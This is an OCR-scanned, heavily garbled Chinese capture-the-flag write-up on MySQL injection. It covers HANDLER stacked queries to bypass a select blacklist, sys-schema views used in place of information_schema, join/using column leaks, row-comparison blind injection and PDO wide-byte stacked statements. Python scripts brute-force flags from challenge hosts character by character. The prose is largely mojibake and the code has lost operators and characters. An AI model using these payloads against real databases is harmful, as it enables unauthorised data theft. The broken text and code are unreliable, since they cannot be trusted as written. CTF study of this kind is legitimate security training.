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0x01 blacklist

% 5. B A +handlerft # select
S AR -PE (S VE B, (B Rban# T 52 M #Fpayload ] rename 1 alter
'R

@'; show tables;#

BFR

@'; show columns from FlagHere;#

MAER. BFBMEMARREEE ., EEioREE) LB EaLSEEESSlag, HXAEbanfs T rename M alter o
BRI XIMERZRKI: MySQLEHR —Ahandlerf) 7] AR B selecti#i /T &)

handlertd 5% 414

mysqlBR ] Fselect&E #R H %, WalfEHhandleri&a), X&ERMFERIGERE —1T7—THRXNE—ANRFHESE, RNidhandlerid & HA
H&selectiB AT A R, BRmysqlEHRER, HEAEESEISQLIRMES.

EAEEE
HANDLER tbl _name OPEN [ [AS] alias]
HANDLER tbl name READ index_name { } (valuel,value2,...)

[ WHERE where_condition ]| [LIMIT ... |
HANDLER tbl _name READ index_name { FIRST NEXT PREV LAST }

[ WHERE where_condition | [LIMIT ... ]
HANDLER tbl_name READ { FIRST NEXT }
[ WHERE where_condition | [LIMIT ... ]

HANDLER tbl_name CLOSE
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1.J83L HANDLER tbl_name OPEN FTH—ik3E, TRFIZER, SLhr ERMEXEBEHT —/N4EHN tbl_name KA.

2 J83f HANDLER tbl_name READ FIRST 3REXAJWEHIS —4T, Bid READ NEXT RUGREUEEIT. BB —ITHITZ B BEHAT NEXT &
RE—NERER,

3.J# T HANDLER tbl name CLOSE 3R3%HI¥T FFHIAIHE .

WG RS EEEWE IR —ERIRE, KRR PEEE.
4 j@id HANDLER tbl_name READ index_name FIRST , JREUHWZE—1T (R3I&/PHI—1T) , NeXT JREUF—47, PREV IREXAT—
17, LAST BREURJE—1T (R3IBKH—1T)

W RSB E—ME, FLAEE NBE—1T 4R,
5.831L HANDLER tbl_name READ index_name = value , 1§ MEB—1TFFf, BITNEXTLREEM K.

RN — N R PETT, 7T LME A whereMlimit 74
R 43 b

1 ABEBSRITHEER

(D FTFAEME:

open; ##7JF—5K4%& %handler_table®, TLiR[FEIZR, FHI T —14& % handler_table#jfjf5

(2) BEREE:

handler handler table read first; #ZEEAJMFHIZE—1T
handler handler_table read next; ##HHWF—1T

(3) KRHFI:

close; #KHFHIFHIAIH

2 B RIITHAEER (FIRSTNEXT,PREV,LAST)
HEERIEEKNE, TURBRIINTIF, WDEXR, BEERER.
(1) BIEES|:

create index handler_index on handler_table(cl);
(2) TIFAINA:
handler handler_table open as p;

(3) EFERYE:

read handler _index first; #FEEAMFE—1T
read handler _index next; #FH F—71r
read handler_index prev; #3H E—17

read handler_index last; #FHWZR/T—1T
(4) KHAEIW:
handler p close;

Mindexy2 i 5 TG
(1) TTHAW:

handler handler_table open as p;

(2) BEERYE:




read handler_index = (2); #7/F&EME_ITH4

read handler_index next;

read handler_index prev;

read handler_index last;

(3) KHAM:

handler p close;

SR mysql&E#)iEHA]-handler
TREIXLE, BAT LR E K i&Epayload T .
payload

@'; handler FlagHere open as qwzf; handler qwzf read first; handler qwzf close;#

AT R ET 15 Rlflag

@ Load URL (http:/ﬂ4eScfd4—b0a674df4788607971TdDdef881.node?;.buuoj.cnf?inject=D'; handler FlagHere open as qwzf; handler qwzf read first; handler qwzf close;#
% split URL

Execute

Post data [ | Referrer 4™ OxHEX & %URL ¥ &% BASER4 B Insert string to replace
O g to re,

Black list is so weak for you,isn't it

‘ Insert replacing string Replace All

g1 =5t
array(1) {
[ol=>
string(42) “flag{al7d3alf ~o 4242-88febf19ccdd}”

}

0x02 Ezsqli
*% 5. Kinformation_schemafi REE+LFIZEE
i mmiR

fIX T8 R R e T A& — T AR
SEBE.
Bl —Hibypass information_schema
R in"HMSQLEE
BB A 25 F-ezsqli-H /M2
XFMYSQLYE N AH IR A 2 B BB 43 Trick B 58 /N g

SERIMEBERE, KIEE Mtinformation schemaltlid &, A LT LR -
1. %33 information_schemas ¥

MySQL5.7 1 57 4 1

B Fperformance_schemaid /& 2%, FrlAmysqlfES.7 R4 #iH T sys schemma, ZEAL##E K B T performance_chema#l
information_schema®iAMEE, 7= & $udiE FE ANt 5038

1.sys.schema_auto_increment_columns

YRR : a1 B SR UL B2 FI R 3R B 481D Y 1 3%


https://blog.csdn.net/JesseYoung/article/details/40785137
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http://www.0x002.com/2020/%25E5%25AF%25B9MYSQL%25E6%25B3%25A8%25E5%2585%25A5%25E7%259B%25B8%25E5%2585%25B3%25E5%2586%2585%25E5%25AE%25B9%25E5%258F%258A%25E9%2583%25A8%25E5%2588%2586Trick%25E7%259A%2584%25E5%25BD%2592%25E7%25B1%25BB%25E5%25B0%258F%25E7%25BB%2593/

# security

// ZENSsqLi-Labs B 5@
emails,referers,uagents,users

ps_check lost instrumentation 2 I—O‘ z m: 2 iTiE
b schema_auto_increment columns table_sche... table name column_na.. data_type

[3] table_schema security amails id int
[2] table_name security referers id int
&= column_name security uagents id int
[2] data_type security users id int
& column_type test users] Id int
[Gl is_signed test users2 Id int

test users3 Id int

[3] is_unsigned

[3] max value

[ auto_increment

{2 auto_increment _ratio

2.sys.schema_table_statistics_with_buffer

schema_table_statistics with_buffer,x$schema_table_statistics with buffer

HHRRNAIHEE, HPEEFEINNoDBEMMEATHEE, BRINHL T 4 M M e 847 1) 8 R /OB IR I [H]

v o schema table statistics with buffer — ~ | U|: | 100|: = |11,=5
aAws_fatohad

i) table_schema table_sche.. table_nam

i) table_name Sys sys_config 12
i) rows_fetched security referers 0
i) fetch_latency security uagents 0
i) rows_inserted security emails 0
i) insert_latency security users 0
{2 rows_updated test users1 0
{3l update_latency test users2 g

[ rows_deleted test users3
(3] delete latency
[l io_read _requests

sys.x$schema_table_statistics_with_buffer



v x$schema table statistics with buffer ~ | 0 :|1OU|: = | =g w “ r @
-_.Tl table_schema table_sche... table_name rows_fetched
4l table_name SYS sys_config
2 rows fetched security referers
4l fetch latency security uagents
2l rows_inserted security emails
al insert_latency security users
2 rows updated test users3
3l update latency test users?2
test users]

3 rows deleted

sys.x$ps_schema_table_statistics_io

T] ZBgtable_name=‘db’, BRINKIHIEFRAIE.

sys.x$schema_flattened_keys

MR REEE, REMAEERXAZ.
3.7 Fl innoDB 3| % 423t %t information_schemalf i 3§ ({2 & mysqlZR i\ & 3% i InnoDB7 % 51 2 1)

1.5 F MySQLS5.78) 3 s tE REUEK 4
H 3 sqli-labs#E 17 #E47 I

(1) sys.schema_auto_increment_columns

?id=-1"' union select 1,2,group_concat(table name)from sys.schema_auto_increment_columns where table_schema=datab

ase()--+

@ Load URL rhttp:/,fi27.0.0.1jsqli-labstess-U?id=-1' union select 1,2,group _concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

% split URL

’ Execute

4]

[ ] Postdata [ | Referrer 4 OxHEX & %URL ™ @ BASE6S I 7] Replace All :

Welcome

{RNsqhEA)E2: SELECT * FROM users WHERE id="-1" union select 1,2,group _concat(table name)from sys.schema_auto_increment_columns
where table schema=database()-- ' LIMIT 0,1

Your Login name:2
Your Password:emails,referers,uagents,users

(2) sys.schema_table statistics_with_buffer

?id=-1" union select 1,2,group_concat(table name)from sys.schema_table statistics with _buffer where table schema

database()--+

(3) sys.x$schema_table statistics_with_buffer

?id=-1" union select 1,2,group _concat(table name)from sys.x$schema table statistics with_buffer where table sche)

ma=database()--+




(4) sys.x$ps_schema_table statistics_io

?id=-1" union select 1,2,group_concat(table name)from sys.x$ps_schema_table statistics_io where table_schema=dat]

(5) sys.x$schema_flattened keys

1' union select 1,2,group_concat(table name)from sys.x$schema_flattened_keys where table_schema=database()-

%%
2.join using()i¥ 51 4

1 FR 4 RS A join ] A2 PN R TR K A IR
WA EEEAFLORSE S FRWAEE, SHTIURNERAHRSIZEE), TRAEHER.
HAMBELESFEEINH G, WLMEA USING RiEXFEHNZERE (INNER JOIN) 4Rk Fu s .

# SR GE— F )51

select * from(select * from users (select * from users)b)c;

# IR TR 7 5251 45

select * from(select * from users (select * from users)b using(username))c;

select * from(select * from users (select * from users)b using(username,password))c

i K — TR 515
?id=-1"' union select*from (select users as a join users b)c--+
#igid

AR ALK 51 K )5 4251 44
?id=-1"' union select*from (select from users as a join users b using(id))c--+
i 72username

?id=-1"' union select*from (select from users as a join users b using(id,username))c--+

#password

3.5 4B HE R EIE
HEEidseleci# 1T E .
¥ Lrpayload:

(select 'admin', 'admin')>(select * from users limit 1)

THAZEBATAEEENL > . <. = KRBT HBT

258 X, EEEXIEM.
1.0,
fuzz—¥%, KR¥:

&% T and orsk4 =

T8 T if

g Ainformation_schema

WA Bk e unionflselect, 1B 33 T union select, unionit:i: Hselectz 2
1 3€ T sys.schema_auto_increment_columns

&3 T join



2 IR[EIVAN

2| |1=1 REINulL

2| |1=4 R[EIV&N

2EWIRVEN, R || FHEHRERATrueMIREINUIL; falsel]i&[EV&N.

2. 59K :

2| |substr((select 1),1,1)=2
N

2| |substr((select 1),1,1)=1
NulL

Yo B AT DAEAT AR AR B

3.4¢1t information_schema

gaidinformation_schema®] i LT 5.

sys.schema_table statistics with_buffer BY sys.x$schema_table statistics_with_buffer BY sys.x$ps_schema_table sta
tistics_io &4

4 HERA

REBNHAEL RS

strs string.printable

"http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php"
payload "2 || ascii(substr((select group_concat(table name) from sys.schema_table statistics with_buffer where
table schema=database()),{0},1))={1}"

if _ name o
name
for i in range(1,49):

char

for j in strs:

payloads payload.format(i,ord(j))
data={'id':payloads}
r requests.post(url=url,data=data)
if "NulL" in r.text:

name Jj

print(j,end=""

char = j

break

if char

break

| ==================== RESTART: C:‘\Users\ASUs'Desktop‘l.py =
Usersa33333333333353, flag_1s_h3r3_hhhhh
32>

VEHPTKER: users233333333333333,flag_1s_h3r3_hhhhh

5.70% 4 5 i HBIE

B AjoinS e T, BT ATCIEVE 5 4 (B 4), B AT ABEAT 031 42 B 1S BIHUE .
SE T RIMERA, 5—HAE:



TEXFER AL O R, BON7E B ERfor()E3F, FBUIFF & MASCIRS B RSRAEE IR LB, RIEFME b, B84 5% L3I 3 b e
b=b i Epayloadif K T5, REE4kEE T —41E3F, c>bltHET, MERER, HITNuILKES, XARERHZCFfagfE T,
B BER X — A7 ichar ke, TR IERIflaghtiiX—fL % EbA %, Frbiflag += chr(char-1), X#tR Nt 4 FEFFflaght & ZAE F mts — AL 5
23]

import requests
url "http://907a8439-ee8f-4e7a-9a97-f2c65389c019.node3.buuoj.cn/index.php"’

def str2hex(flag):
res v
for i in flag:
res hex(ord(i))
res 'ox' res.replace('ex',"'")

return res

flag
for i in range(1,60):
hexchar
for char in range(32, 126):
hexchar str2hex(flag+ chr(char))
payload = '2||((select 1,{})>(select * from flag_1s_h3r3_hhhhh))'.format(hexchar)
#payload = '0~((select 1,{})>(select * from(flag_1s h3r3_hhhhh))) '.format(hexchar)
data = {'id':payload}
r = requests.post(url=url,data=data)
if 'NullL' in r.text:
flag chr(char-1)
print(flag)
break

LoLafwd LLowsLind iuiiien Lea ! T ML L S A LT

FLAG {EOBO98DA-12 " m-8FF2- 38609144
FLAG {(EOBO98DA-12 . TREZ- 38691440
FLAG{EOBO98DA-12 -4, - T2- 38A914A0F
FLAG {EOBO98DA-12  -4Br = - 38H914A0F5
FLAG{EQBO98DA-12 -456E-. - 38R914A0F5}

smitelfifEifexpH F TERF S ~ HHEZHAW AL, FAMySQLH) LB AL .
BIABEAT T hex() #4E, B AMySQLEZ hex2 B 3 R4 .
(RITEAIRIE T, tggqqqgll!!!)

I E, RIIEY


https://xz.aliyun.com/t/3950
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function check( ){
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#]|-|\”*|&|database/i",
A
print_r( );
return 0;
}telse{

return 1;

}

try{
new PDO( 'mysql:host=1localhost;dbname=pdotest', 'root", "******'):

}catch(Exception ){
echo getMessage();
)i
if(isset( ["id"])){
['id"];
}else{
query("select balabala from tablel");
fetch(PDO: : FETCH_ASSOC) ;
[CERELENER S
)i
if(check( A
"select balabala from tablel where 1=?";
query("set names gbk");
prepare( )5
bindParam(1, );
execute();

RBLEATPDO « set names gbk

— MR IEPDOTI R IFE RN FESQNEN, HREHEF $db->query("set names gbk");Bimk T HFTEAN
B R — LB A SRR P 38 T, BT LLA char() G8d

27 P 3T AT Y1 ng T e ) A2 50 FEL 2% B ]

import requests
def str2hex(string):
c="'0ox"'
a='
for i in string:
a+=hex(ord(i))
return c+a.replace('ex',"'")
url="http://0d7a93644ff542a3886e388d2e2d8ac5d71f9fe37e74247d7.changame.ichunqiu.com/?id="
data="'1%df%27;set @a={};prepare test from @a;execute test;'
4 Hidg 115 ), set B E LR HIE;
#prepare Hi#—N0a g ], HIRTFE#test;
Hexecute H /TiE fjtest
payload="'select if((ascii(mid((select f1111114g from tablel),{},1))={}),sleep(6),1);"
flag=""
for i in range(1,60):
for x in range(30,127):
newpayload=payload.format(str(i),str(x))#i FA#HEKE; x2Fffascii
newdata=data.format(str2hex(newpayload))##sql 1% 4516 #HI LN Fikl PE15 f]
a=requests.session()
if(a.get(url+newdata).status_code==404):
flag+=chr(x)
break
print(flag)




0x04 )5id

BTG, YERRE . RN —4): RITE Ittt ! Ftttttttel! ! !
SEHE:

iFK 20201 F MR "W 4 %4 A 2 FGYCTF Writeup 25 =K

iFKA 25 BIPI K WEB WriteUp
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